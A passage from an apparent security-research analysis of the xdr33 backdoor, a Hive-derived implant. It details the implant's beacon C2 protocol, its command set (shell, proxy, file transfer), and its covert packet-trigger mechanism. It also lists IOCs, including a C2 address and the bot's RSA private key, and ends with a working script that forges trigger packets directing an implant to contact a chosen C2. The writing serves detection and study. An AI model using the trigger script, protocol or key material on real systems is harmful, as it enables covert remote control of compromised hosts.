src=\"__GHOST_URL__/content/images/2022/12/hive_compose.png\" class=\"kg-image\"/></a>\n\nIn order to distinguish different device information, Hive designed ADD_HDR, which is defined as follows, and \"3, 4, 5, 6\" in the above figure represents different Header Type.\n\n```\ntypedef struct __attribute__ ((packed)) add_header {\n\tunsigned short type;\n\tunsigned short length;\n} ADD_HDR;\n\n```\n\nWhat does \"3, 4, 5, 6\" represent exactly? This depends on the definition of Header Types in the source code below. xdr33 is extended on this basis, with two new values 0 and 9, representing `Sha1[:32] of MAC`, and `PID of xdr33` respectively\n\n<a href=\"__GHOST_URL__/content/images/2022/12/hive_type.png\"><img src=\"__GHOST_URL__/content/images/2022/12/hive_type.png\" class=\"kg-image\"/></a>\n\nSome of the information collected by xdr32 in the virtual machine is shown below, and it can be seen that it contains the device information with head type 0,1,2,7,9,3.\n<a href=\"__GHOST_URL__/content/images/2022/12/hive_deviceinfo.png\"><img src=\"__GHOST_URL__/content/images/2022/12/hive_deviceinfo.png\" class=\"kg-image\"/></a>\n\nIt is worth mentioning that type=0, `Sha1[:32] of MAC`, which means that it takes the first 32 bytes of MAC SHA1. Take the mac in the above figure as an example, its calculation process is as follows.\n```\nmac:00-0c-29-94-d9-43,remove \"-\"\nresult:00 0c 29 94 d9 43\n\nsha1 of mac:\nresult:c55c77695b6fd5c24b0cf7ccce3e464034b20805\n\nsha1[:32] of mac:\nresult:c55c77695b6fd5c24b0cf7ccce3e4640\n```\n\n\nWhen all the device information is combined, use bzip to compress it and add 2 bytes of `beacon_header_version` and 2 bytes of OS information in the header.\n<a href=\"__GHOST_URL__/content/images/2023/01/hive_devicebzip.png\"><img src=\"__GHOST_URL__/content/images/2023/01/hive_devicebzip.png\" class=\"kg-image\"/></a>\n\n## 0x03: Network Communication\nThe communication process between xdr33 and Beacon C2 contains the following 4 steps, and the details of each step will be analyzed in detail below.\n\n- Two-way SSL authentication\n- Obtain XTEA key\n- Report XTEA encrypted device information to C2\n- Execute the commands sent by C2\n\n### Step1: Two-way SSL Authentication\n\n Two-way SSL authentication requires Bot and C2 to confirm each other's identity, from the network traffic level, it is obvious that Bot and C2 request each other's certificate and verify the process.\n <a href=\"__GHOST_URL__/content/images/2022/12/hive_certi.png\"><img src=\"__GHOST_URL__/content/images/2022/12/hive_certi.png\" class=\"kg-image\"/></a>\n \n The author of xdr33 uses the kaspersky.conf and thawte.conf templates in the source repository to generate the required Bot certificate, C2 certificate and CA certificate.\n <a href=\"__GHOST_URL__/content/images/2022/12/hive_certconf.png\"><img src=\"__GHOST_URL__/content/images/2022/12/hive_certconf.png\" class=\"kg-image\"/></a>\n \n The CA certificate, Bot certificate and PrivKey are hardcoded in xdr32 in DER format.\n <a href=\"__GHOST_URL__/content/images/2022/12/hive_sslsock.png\"><img src=\"__GHOST_URL__/content/images/2022/12/hive_sslsock.png\" class=\"kg-image\"/></a>\n \n The Bot certificate can be viewed using `openssl x509 -in Cert -inform DER -noout -text`, where CN=xdr33, which is where the family name comes from.\n <a href=\"__GHOST_URL__/content/images/2022/12/hive_botcert.png\"><img src=\"__GHOST_URL__/content/images/2022/12/hive_botcert.png\" class=\"kg-image\"/></a>\n \n You can use `openssl s_client -connect 45.9.150.144:443` to see the C2 certificate. bot, C2 certificates are disguised as being related to kaspersky, reducing the suspiciousness of network traffic in this way.\n \n <a href=\"__GHOST_URL__/content/images/2022/12/hive_c2cert.png\"><img src=\"__GHOST_URL__/content/images/2022/12/hive_c2cert.png\" class=\"kg-image\"/></a>\n \n The CA certificates are shown below. From the validity of the 3 certificates, we presume that the start of this activity is after 2022.10.7.\n <a href=\"__GHOST_URL__/content/images/2022/12/hive_ca.png\"><img src=\"__GHOST_URL__/content/images/2022/12/hive_ca.png\" class=\"kg-image\"/></a>\n\n\n### Step2: Obtain XTEA key\n\n After establishing SSL communication between Bot and C2, Bot requests XTEA key from C2 via the following code snippet.\n <a href=\"__GHOST_URL__/content/images/2023/01/hive_teakey.png\"><img src=\"__GHOST_URL__/content/images/2023/01/hive_teakey.png\" class=\"kg-image\"/></a>\n\nThe processing logic is.\n\n1. Bot sends 64 bytes of data to C2 in the format of \"length of device information length string (xor 5) + device information length string (xor 5) + random data\".\n\n2. Bot receives 32 bytes of data from C2 and gets 16 bytes of XTEA KEY from it, the equivalent python code to get the KEY is as follows.\n\n\n ```\n XOR_KEY=5\n def get_key(rand_bytes):\n \toffset = (ord(rand_bytes[0]) ^ XOR_KEY) % 15\n \treturn rand_bytes[(offset+1):(offset+17)]\n ```\n\n \n\n### Step3: Report XTEA encrypted device information to C2\n\nBot uses the XTEA KEY obtained from Step2 to encrypt the device information and report it to C2. since the device information is large, it usually needs to be sent in chunks, Bot sends up to 4052 bytes at a time, and C2 replies with the number of bytes it has accepted.\n <a href=\"__GHOST_URL__/content/images/2023/01/hive_teadevice.png\"><img src=\"__GHOST_URL__/content/images/2023/01/hive_teadevice.png\" class=\"kg-image\"/></a>\n\nIt is also worth mentioning that XTEA encryption is only used in Step3, and the subsequent Step4 only uses the SSL-negotiated encryption suite for network traffic, and no longer uses XTEA.\n\n\n### Step4: Waiting for execution command (new function added by xdr33)\n\nAfter the device information is reported, C2 sends 8 bytes of task number N of this cycle to Bot, if N is equal to 0, it will sleep for a certain time and enter the next cycle of Beacon Task; if not, it will send 264 bytes of task. bot receives the task, parses it, and executes the corresponding instruction.\n <a href=\"__GHOST_URL__/content/images/2023/01/hive_beaconwaitcmd.png\"><img src=\"__GHOST_URL__/content/images/2023/01/hive_beaconwaitcmd.png\" class=\"kg-image\"/></a>\n\n The supported instructions are shown in the following table.\n\n | Index | Function |\n | ----- | ------------------------------------------------- |\n | 0x01 | Download File |\n | 0x02 | Execute CMD with fake name \"[kworker/3:1-events]\" |\n | 0x03 | Update |\n | 0x04 | Upload File |\n | 0x05 | Delete |\n | 0x08 | Launch Shell |\n | 0x09 | Socket5 Proxy |\n | 0x0b | Update BEACONINFO |\n \n \n## Network Traffic Example\n\n### The actual step2 traffic generated by xdr33\n\n<a href=\"__GHOST_URL__/content/images/2023/01/hive_packet.png\"><img src=\"__GHOST_URL__/content/images/2023/01/hive_packet.png\" class=\"kg-image\"/></a>\n\n### The interaction in step3, and the traffic from step4\n<a href=\"__GHOST_URL__/content/images/2023/01/hive_packetB.png\"><img src=\"__GHOST_URL__/content/images/2023/01/hive_packetB.png\" class=\"kg-image\"/></a>\n\n\n### What information can we get from this??\n\n1. The length of the device information length string, `0x1 ^ 0x5 = 0x4`\n\n2. The length of the device information, 0x31,0x32,0x37,0x35 respectively xor 5 gives 4720\n\n3. tea key `2E 09 9B 08 CF 53 BE E7 A0 BE 11 42 31 F4 45 3A`\n\n4. C2 will confirm the length of the device information reported by the BOT, 4052+668 = 4720, which corresponds to the second point\n\n5. The number of tasks in this cycle is `00 00 00 00 00 00 00`, i.e. there is no task, so no specific task of 264 bytes will be issued.\n\nThe encrypted device information can be decrypted by the following code, and the decrypted data is `00 22 00 14 42 5A 68 39`, which contains the `beacon_header_version + os + bzip magic`, and the previous analysis can correspond to one by one.\n\n```\nimport hexdump\nimport struct\n\ndef xtea_decrypt(key,block,n=32,endian=\"!\"):\n v0,v1 = struct.unpack(endian+\"2L\", block)\n k = struct.unpack(endian+\"4L\",key)\n delta,mask = 0x9e3779b9,0xffffffff\n sum = (delta * n) & mask\n for round in range(n):\n v1 = (v1 - (((v0<<4 ^ v0>>5) + v0) ^ (sum + k[sum>>11 & 3]))) & mask\n sum = (sum - delta) & mask\n v0 = (v0 - (((v1<<4 ^ v1>>5) + v1) ^ (sum + k[sum & 3]))) & mask\n return struct.pack(endian+\"2L\",v0,v1)\n\ndef decrypt_data(key,data):\n size = len(data)\n i = 0\n ptext = b''\n while i < size:\n if size - i >= 8:\n ptext += xtea_decrypt(key,data[i:i+8])\n i += 8\n return ptext\nkey=bytes.fromhex(\"\"\"\n2E 09 9B 08 CF 53 BE E7 A0 BE 11 42 31 F4 45 3A\n\"\"\")\nenc_buf=bytes.fromhex(\"\"\"\n65 d8 b1 f9 b8 37 37 eb\n\"\"\")\n\nhexdump.hexdump(decrypt_data(key,enc_buf))\n```\n# Trigger Task\n\nThe main function of the Trigger is to listen to all traffic and wait for the Triggger IP message in a specific format. Once the message and the Trigger Payload hidden in the message pass the layers of verification, the Bot establishes communication with the C2 in the Trigger Payload and waits for the execution of the instructions sent.\n\n\n\n## 0x1: Listening for traffic\n\nUse the function call `socket( PF_PACKET, SOCK_RAW, htons( ETH_P_IP ) )` to set RAW SOCKET to capture IP messages, and then the following code snippet to process IP messages, you can see that Tirgger supports TCP,UDP and the maximum length of message Payload is 472 bytes. This kind of traffic sniffing implementation will increase the CPU load, in fact using BPF-Filter on sockets will work better.\n\n<a href=\"__GHOST_URL__/content/images/2022/12/hive_snfpkt.png\"><img src=\"__GHOST_URL__/content/images/2022/12/hive_snfpkt.png\" class=\"kg-image\"/></a>\n\n\n\n## 0x2: Checksum Trigger packets\n\nTCP and UDP messages that meet the length requirement are further verified using the same check_payload function.\n\n<a href=\"__GHOST_URL__/content/images/2022/12/hive_handxref.png\"><img src=\"__GHOST_URL__/content/images/2022/12/hive_handxref.png\" class=\"kg-image\"/></a>\n\n**check_payload**的代码如下所示:\n<a href=\"__GHOST_URL__/content/images/2022/12/hive_checkpayload.png\"><img src=\"__GHOST_URL__/content/images/2022/12/hive_checkpayload.png\" class=\"kg-image\"/></a>\n\nThe processing logic can be seen as follows.\n\n- Use CRC16/CCITT-FALSE algorithm to calculate the CRC16 value of offset 8 to 92 in the message to get crcValue\n- The offset value of crcValue in the message is obtained by crcValue % 200+ 92, crcOffset\n- Verify whether the data at crcOffset in the message is equal to crcValue, if it is equal, go to the next step\n- Check if the data at crcOffset+2 in the message is an integer multiple of 127, if yes, go to the next step\n- Trigger_Payload is encrypted, the starting position is crcOffset+12, the length is 29 bytes. the starting position of Xor_Key is crcValue%55+8, XOR the two byte by byte, we get Trigger_Paylaod\n\n\nSo far it can be determined that the `Trigger message format` is as follows\n\n<a href=\"__GHOST_URL__/content/images/2022/12/hive_triggerpkt-1.png\"><img src=\"__GHOST_URL__/content/images/2022/12/hive_triggerpkt-1.png\" class=\"kg-image\"/></a>\n\n## 0x3: Checksum Trigger Payload\n\nIf the Trigger message passes the checksum, the check_trigger function continues to check the Trigger Payload\n\n<a href=\"__GHOST_URL__/content/images/2022/12/hive_triggerfinal.png\"><img src=\"__GHOST_URL__/content/images/2022/12/hive_triggerfinal.png\" class=\"kg-image\"/></a>\n\nThe processing logic can be seen as follows\n\n- Take the last 2 bytes of the Trigger Payload and write it as crcRaw\n- Set the last 2 bytes of the Trigger Payload to 0 and calculate its CRC16, which is called crcCalc\n- Compare crcRaw and crcCalc, if they are equal, it means that the Trigger Payload is structurally valid.\n\nNext, the SHA1 of the key in the Trigger Payload is calculated and compared with the hard-coded SHA1 `46a3c308401e03d3195c753caa14ef34a3806593` in the Bot. If it is equal, it means that the Trigger Payload is also valid in content, so we can go to the last step, establish communication with C2 in the Trigger Payload, and wait for the execution of its issued command.\n\nThe format of the `Trigger Payload` can be determined as follows.\n\n<a href=\"__GHOST_URL__/content/images/2022/12/hive_triggerfmt-1.png\"><img src=\"__GHOST_URL__/content/images/2022/12/hive_triggerfmt-1.png\" class=\"kg-image\"/></a>\n\n## 0x4: Execution of Trigger C2's command\n\nAfter a Trigger message passes the checksum, the Bot actively communicates with the C2 specified in the Trigger Payload and waits for the execution of the instructions issued by the C2.\n\n<a href=\"__GHOST_URL__/content/images/2022/12/hive_triggercmd.png\"><img src=\"__GHOST_URL__/content/images/2022/12/hive_triggercmd.png\" class=\"kg-image\"/></a>\n\nThe supported instructions are shown in the following table.\n\n| Index | Function |\n| ---------- | ------------- |\n| 0x00,0x00a | Exit |\n| 0x01 | Download File |\n| 0x02 | Execute CMD |\n| 0x04 | Upload File |\n| 0x05 | Delete |\n| 0x06 | Shutdown |\n| 0x08 | Launch SHELL |\n| 0x09 | SOCKET5 PROXY |\n| 0x0b | Update BEACONINFO |\n\nIt is worth noting that Trigger C2 differs from Beacon C2 in the details of communication; after establishing an SSL tunnel, Bot and Trigger C2 use a Diffie-Helllman key exchange to establish a shared key, which is used in the AES algorithm to create a second layer of encryption.\n<a href=\"__GHOST_URL__/content/images/2022/12/hive_aes.png\"><img src=\"__GHOST_URL__/content/images/2022/12/hive_aes.png\" class=\"kg-image\"/></a>\n\n# Experiment\n\nTo verify the correctness of the reverse analysis of the Trigger part, we Patch the SHA1 value of xdr33, fill in the SHA1 of `NetlabPatched,Enjoy!` and implement the GenTrigger code in the appendix to generate UDP type Trigger messages.\n\n<a href=\"__GHOST_URL__/content/images/2022/12/hive_patchbylab.png\"><img src=\"__GHOST_URL__/content/images/2022/12/hive_patchbylab.png\" class=\"kg-image\"/></a>\n\nWe run the Patch in the virtual machine `192.168.159.133` after the xdr33 sample, the construction of C2 for `192.168.159.128:6666` Trigger Payload, and sent to 192.168.159.133 in the form of UDP. the final result is as follows, you can see the xdr33 in the implanted host after receiving the UDP Trigger message, and we expected the same, launched a communication request to the preset Trigger C2, Cool!\n\n<a href=\"__GHOST_URL__/content/images/2022/12/hive_vmware.png\"><img src=\"__GHOST_URL__/content/images/2022/12/hive_vmware.png\" class=\"kg-image\"/></a>\n\n\n\n\n\n# Contact us\n\nReaders are always welcomed to reach us on [twitter](https://twitter.com/360Netlab) or email us to netlab[at]360.cn.\n\n# IOC\n## sample\n```\nee07a74d12c0bb3594965b51d0e45b6f\n\npatched sample\n\naf5d2dfcafbb23666129600f982ecb87\n```\n\n## C2\n```\n45.9.150.144:443\n```\n\n## BOT Private Key\n```\n-----BEGIN RSA PRIVATE KEY-----\nMIIEowIBAAKCAQEA6XthqPjU3XFu8/4PMVQ4iqJbleXmXhbVWMPhY/sTndEcO5vQ\nmIMNJc1mISZTNPzddXSrj0h9GJe0ix0CIZID3bHyZHLiqb/ewylFmqSOVkviG/Je\no17UAqhsNGpVu/l8FM3qCHJE7z+wBqHdwVIZMt9vLaLti2KyJV+j1F1GTk8X2jcI\n4DnnVKJE81rSafzaX2JBc6J6hovFMMP9IGb2LwRQMZNtZqSus6JMolhkO0dtvxXK\nyTm1k79HL3PlZdgKt6HJFoukwkWND8NNTbcBXDWWDdJ42g/1I0Z7tMkdKFgfjUut\n90LXKRRuENcUrbi75L6P2FRwPnqvVv+3N25MZQIDAQABAoIBADtguG57kc8bWQdO\nNljqPVLshXQyuop1Lh7b+gcuREffdVmnf745ne9eNDn8AC86m6uSV0siOUY21qCG\naRNWigsohSeMnB5lgGaLqXrxnI1P0RogYncT18ExSgtue41Jnoe/8mPhg6yAuuiE\n49uVYHkyn5iwlc7b88hTcVvBuO6S7HPqqXbDEBSoKL0o60/FyPb0RKigprKooTo/\nKVCRFDT6xpAGMnjZkSSBJB2cgRxQwkcyghMcLJBvsZXbYNihiXiiiwaLvk4ZeBtf\n0hnb6Cty840juAIGKDiUELijd3JtVKaBy41KLrdsnC+8JU3RIVGPtPDbwGanvnCk\nIto7gqUCgYEA+MucFy8fcFJtUnOmZ1Uk3AitLua+IrIEp26IHgGaMKFA0hnGEGvb\nZmwkrFj57bGSwsWq7ZSBk8yHRP3HSjJLZZQIcnnTCQxHMXa+YvpuEKE5mQSMwnlu\nYH9S2S0xQPi1yLQKjAVVt+zRuuJvMv0dOZAOfdib+3xesPv2fIBu0McCgYEA8D4/\nzygeF5k4Omh0l235e08lkqLtqVLu23vJ0TVnP2LNh4rRu6viBuRW7O9tsFLng8L8\naIohdVdF/E2FnNBhnvoohs8+IeFXlD8ml4LC+QD6AcvcMGYYwLIzewODJ2d0ZbBI\nhQthoAw9urezc2CLy0da7H9Jmeg26utwZJB4ZXMCgYEAyV9b/rPoeWxuCd+Ln3Wd\n+O6Y5i5jVQfLlo1zZP4dBCFwqt2rn5z9H0CGymzWFhq1VCrT96pM2wkfr6rNBHQC\n7LvNvoJ2WotykEmxPcG/Fny4du7k03+f5EEKGLhodlMYJ9P5+W1T/SOUefRO1vFi\nFzZPVHLfhcUbi5rU3d7CUv8CgYBG82tu578zYvnbLhw42K7UfwRusRWVazvFsGJj\nGe17J9fhTtswHMwtEuSlJvTzHRjorf5TdW/6MqMlp1Ntg5FBHUo4vh3wbZeq3Zet\nKV4hoesz+pv140EuL7LKgrgKPCCBI7XXLQxQ8yyL51LlIT9H8rPkopb/EDif2paf\n7JbSBwKBgCY8+aO44uuR2dQm0SIUqnb0MigLRs1qcWIfDfHF9K116sGwSK4SD9vD\npoCA53ffcrTi+syPiUuBJFZG7VGfWiNJ6GWs48sP5dgyBQaVq5hQofKqQAZAQ0f+\n7TxBhBF4n2gc5AhJ3fQAOXZg5rgNqhAln04UAIlgQKO69fAvfzID\n-----END RSA PRIVATE KEY-----\n\n```\n## BOT Certificate\n```\n-----BEGIN CERTIFICATE-----\nMIIFJTCCBA2gAwIBAgIBAzANBgkqhkiG9w0BAQsFADCBzjELMAkGA1UEBhMCWkEx\nFTATBgNVBAgMDFdlc3Rlcm4gQ2FwZTESMBAGA1UEBwwJQ2FwZSBUb3duMR0wGwYD\nVQQKDBRUaGF3dGUgQ29uc3VsdGluZyBjYzEoMCYGA1UECwwfQ2VydGlmaWNhdGlv\nbiBTZXJ2aWNlcyBEaXZpc2lvbjEhMB8GA1UEAwwYVGhhd3RlIFByZW1pdW0gU2Vy\ndmVyIENBMSgwJgYJKoZIhvcNAQkBFhlwcmVtaXVtLXNlcnZlckB0aGF3dGUuY29t\nMB4XDTIyMTAwNzE5NTAwN1oXDTIzMDMxNjE5NTAwN1owgYExCzAJBgNVBAYTAlJV\nMR0wGwYDVQQKDBRLYXNwZXJza3kgTGFib3JhdG9yeTEUMBIGA1UEAwwLRW5naW5l\nZXJpbmcxDjAMBgNVBAMMBXhkcjMzMQ8wDQYDVQQIDAZNb3Njb3cxDzANBgNVBAcM\nBk1vc2NvdzELMAkGA1UECwwCSVQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK\nAoIBAQDpe2Go+NTdcW7z/g8xVDiKoluV5eZeFtVYw+Fj+xOd0Rw7m9CYgw0lzWYh\nJlM0/N11dKuPSH0Yl7SLHQIhkgPdsfJkcuKpv97DKUWapI5WS+Ib8l6jXtQCqGw0\nalW7+XwUzeoIckTvP7AGod3BUhky328tou2LYrIlX6PUXUZOTxfaNwjgOedUokTz\nWtJp/NpfYkFzonqGi8Uww/0gZvYvBFAxk21mpK6zokyiWGQ7R22/FcrJObWTv0cv\nc+Vl2Aq3ockWi6TCRY0Pw01NtwFcNZYN0njaD/UjRnu0yR0oWB+NS633QtcpFG4Q\n1xStuLvkvo/YVHA+eq9W/7c3bkxlAgMBAAGjggFXMIIBUzAMBgNVHRMBAf8EAjAA\nMB0GA1UdDgQWBBRc0LAOwW4C6azovupkjX8R3V+NpjCB+wYDVR0jBIHzMIHwgBTz\nBcGhW/F2gdgt/v0oYQtatP2x5aGB1KSB0TCBzjELMAkGA1UEBhMCWkExFTATBgNV\nBAgMDFdlc3Rlcm4gQ2FwZTESMBAGA1UEBwwJQ2FwZSBUb3duMR0wGwYDVQQKDBRU\naGF3dGUgQ29uc3VsdGluZyBjYzEoMCYGA1UECwwfQ2VydGlmaWNhdGlvbiBTZXJ2\naWNlcyBEaXZpc2lvbjEhMB8GA1UEAwwYVGhhd3RlIFByZW1pdW0gU2VydmVyIENB\nMSgwJgYJKoZIhvcNAQkBFhlwcmVtaXVtLXNlcnZlckB0aGF3dGUuY29tggEAMA4G\nA1UdDwEB/wQEAwIF4DAWBgNVHSUBAf8EDDAKBggrBgEFBQcDAjANBgkqhkiG9w0B\nAQsFAAOCAQEAGUPMGTtzrQetSs+w12qgyHETYp8EKKk+yh4AJSC5A4UCKbJLrsUy\nqend0E3plARHozy4ruII0XBh5z3MqMnsXcxkC3YJkjX2b2EuYgyhvvIFm326s48P\no6MUSYs5CFxhhp/N0cqmqGgZL5V5evI7P8NpPcFhs7u1ryGDcK1MTtSSPNPy3F+c\nd707iRXiRcLQmXQTcjmOVKrohA/kqqtdM5EUl75n9OLTinZcb/CQ9At+5Sn91AI3\nngd22cyLLC3O4F14L+hqwMd0ENSjanX38iZ2EY8hMpmNYwPOVSQZ1FpXqrkW1ArI\nlHEtKB3YMeSXQHAsvBQD0AlW7R7JqHdreg==\n-----END CERTIFICATE-----\n\n```\n\n## CA Certificate\n```\n-----BEGIN CERTIFICATE-----\nMIIFXTCCBEWgAwIBAgIBADANBgkqhkiG9w0BAQsFADCBzjELMAkGA1UEBhMCWkEx\nFTATBgNVBAgMDFdlc3Rlcm4gQ2FwZTESMBAGA1UEBwwJQ2FwZSBUb3duMR0wGwYD\nVQQKDBRUaGF3dGUgQ29uc3VsdGluZyBjYzEoMCYGA1UECwwfQ2VydGlmaWNhdGlv\nbiBTZXJ2aWNlcyBEaXZpc2lvbjEhMB8GA1UEAwwYVGhhd3RlIFByZW1pdW0gU2Vy\ndmVyIENBMSgwJgYJKoZIhvcNAQkBFhlwcmVtaXVtLXNlcnZlckB0aGF3dGUuY29t\nMB4XDTIyMTAwNzE0MTEzOFoXDTQ3MTAwMTE0MTEzOFowgc4xCzAJBgNVBAYTAlpB\nMRUwEwYDVQQIDAxXZXN0ZXJuIENhcGUxEjAQBgNVBAcMCUNhcGUgVG93bjEdMBsG\nA1UECgwUVGhhd3RlIENvbnN1bHRpbmcgY2MxKDAmBgNVBAsMH0NlcnRpZmljYXRp\nb24gU2VydmljZXMgRGl2aXNpb24xITAfBgNVBAMMGFRoYXd0ZSBQcmVtaXVtIFNl\ncnZlciBDQTEoMCYGCSqGSIb3DQEJARYZcHJlbWl1bS1zZXJ2ZXJAdGhhd3RlLmNv\nbTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAMfHJIl4/Xdo896Rlyqr\n3VcKnLAAqIJkpgl90Z6bxUDpwa41H3ZDa7As4ZO9xa+lXGn9XB9u34TqJPkyhSKg\n3wYK02KTCwVMI/gf506KpFvocTHpScnXs0xUoxsM8qEiDV2pTe447rmyaLyWcT5d\nhbzkPl0WuDmEWMhfC2R9z4+mlsbwMAy9PN/JYzxz7cR48qj4j9hhEwkJ1+yJKXBV\nAV9CdgLYfJXrA7A4Hxgc0ECKJmpovskv/DlxM8RxOsHfVtyG4ZgqmRraxUelirlf\ntLj0fIkLaP7xvo1QSgiqQffbBOiDg9PN3H2wezFOmeDg9RIR6qvhzhyNpZjANiiC\nJzMCAwEAAaOCAUIwggE+MA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYEFPMFwaFb\n8XaB2C3+/ShhC1q0/bHlMIH7BgNVHSMEgfMwgfCAFPMFwaFb8XaB2C3+/ShhC1q0\n/bHloYHUpIHRMIHOMQswCQYDVQQGEwJaQTEVMBMGA1UECAwMV2VzdGVybiBDYXBl\nMRIwEAYDVQQHDAlDYXBlIFRvd24xHTAbBgNVBAoMFFRoYXd0ZSBDb25zdWx0aW5n\nIGNjMSgwJgYDVQQLDB9DZXJ0aWZpY2F0aW9uIFNlcnZpY2VzIERpdmlzaW9uMSEw\nHwYDVQQDDBhUaGF3dGUgUHJlbWl1bSBTZXJ2ZXIgQ0ExKDAmBgkqhkiG9w0BCQEW\nGXByZW1pdW0tc2VydmVyQHRoYXd0ZS5jb22CAQAwDgYDVR0PAQH/BAQDAgGGMA0G\nCSqGSIb3DQEBCwUAA4IBAQDBqNA1WFp15AM8l7oDgqa/YHvoGmfcs48Ak8YtrDEF\ntLRyz1+hr/hhfR8Hm1hZ0oj1vAzayhCGKdQTk42mq90dG4tViNYMq4mFKmOoVnw6\nu4C8BCPfxmuyNFdw9TVqTjdwWqWM84VMg3Cq3ZrEa94DMOAXm3QXcDsar7SQn5Xw\nLCsU7xKJc6gwk4eNWEGxFJwS0EwPhBkt1lH4OD11jH0Ukr5rRJvh1blUiOHPd3//\nkzeXNozA9PwoH4wewqk8bXZhj5ZA9LR7rm+5OrCoWXofgn1Gi2yd+LWWCrE7NBWm\nyRelxOSPRSQ1fvAVvuRrCnCJgKxG/2Ba2DLs95u6IxYX\n-----END CERTIFICATE-----\n\n```\n\n\n# 附录\n##0x1 Decode_RES\n\n```\nimport idautils\nimport ida_bytes\n\ndef decode(addr,len):\n tmp=bytearray()\n \n buf=ida_bytes.get_bytes(addr,len)\n for i in buf:\n tmp.append(~i&0xff)\n\n print(\"%x, %s\" %(addr,bytes(tmp)))\n ida_bytes.put_bytes(addr,bytes(tmp))\n idc.create_strlit(addr,addr+len)\n \ncalllist=idautils.CodeRefsTo(0x0804F1D8,1)\nfor addr in calllist:\n prev1Head=idc.prev_head(addr)\n if 'push offset' in idc.generate_disasm_line(prev1Head,1) and idc.get_operand_type(prev1Head,0)==5:\n bufaddr=idc.get_operand_value(prev1Head,0)\n prev2Head=idc.prev_head(prev1Head)\n \n if 'push' in idc.generate_disasm_line(prev2Head,1) and idc.get_operand_type(prev2Head,0)==5:\n leng=idc.get_operand_value(prev2Head,0)\n decode(bufaddr,leng)\n\n```\n\n## 0x02 GenTrigger\n\n```\nimport random\nimport socket\n\n\ndef crc16(data: bytearray, offset, length):\n if data is None or offset < 0 or offset > len(data) - 1 and offset + length > len(data):\n return 0\n crc = 0xFFFF\n for i in range(0, length):\n crc ^= data[offset + i] << 8\n for j in range(0, 8):\n if (crc & 0x8000) > 0:\n crc = (crc << 1) ^ 0x1021\n else:\n crc = crc << 1\n return crc & 0xFFFF\n\ndef Gen_payload(ip:str,port:int):\n out=bytearray()\n part1=random.randbytes(92)\n sum=crc16(part1,8,84)\n \n offset1=sum % 0xc8\n offset2=sum % 0x37\n padding1=random.randbytes(offset1)\n padding2=random.randbytes(8)\n \n \n host=socket.inet_aton(ip)\n C2=bytearray(b'\\x01')\n C2+=host\n C2+=int.to_bytes(port,2,byteorder=\"big\")\n key=b'NetlabPatched,Enjoy!'\n C2 = C2+key +b'\\x00\\x00'\n c2sum=crc16(C2,0,29)\n C2=C2[:-2]\n C2+=(int.to_bytes(c2sum,2,byteorder=\"big\"))\n\n flag=0x7f*10\n out+=part1\n out+=padding1\n out+=(int.to_bytes(sum,2,byteorder=\"big\"))\n out+=(int.to_bytes(flag,2,byteorder=\"big\"))\n out+=padding2\n\n tmp=bytearray()\n for i in range(29):\n tmp.append(C2[i] ^ out[offset2+8+i])\n out+=tmp\n\n leng=472-len(out)\n lengpadding=random.randbytes(random.randint(0,leng+1))\n out+=lengpadding\n\n return out\n \npayload=Gen_payload('192.168.159.128',6666)\nsock=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)\nsock.sendto(payload,(\"192.168.159.133\",2345)) # 任意端口\n\n```"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"4.0"} | 63bcdc1f76a7a20007c96698 |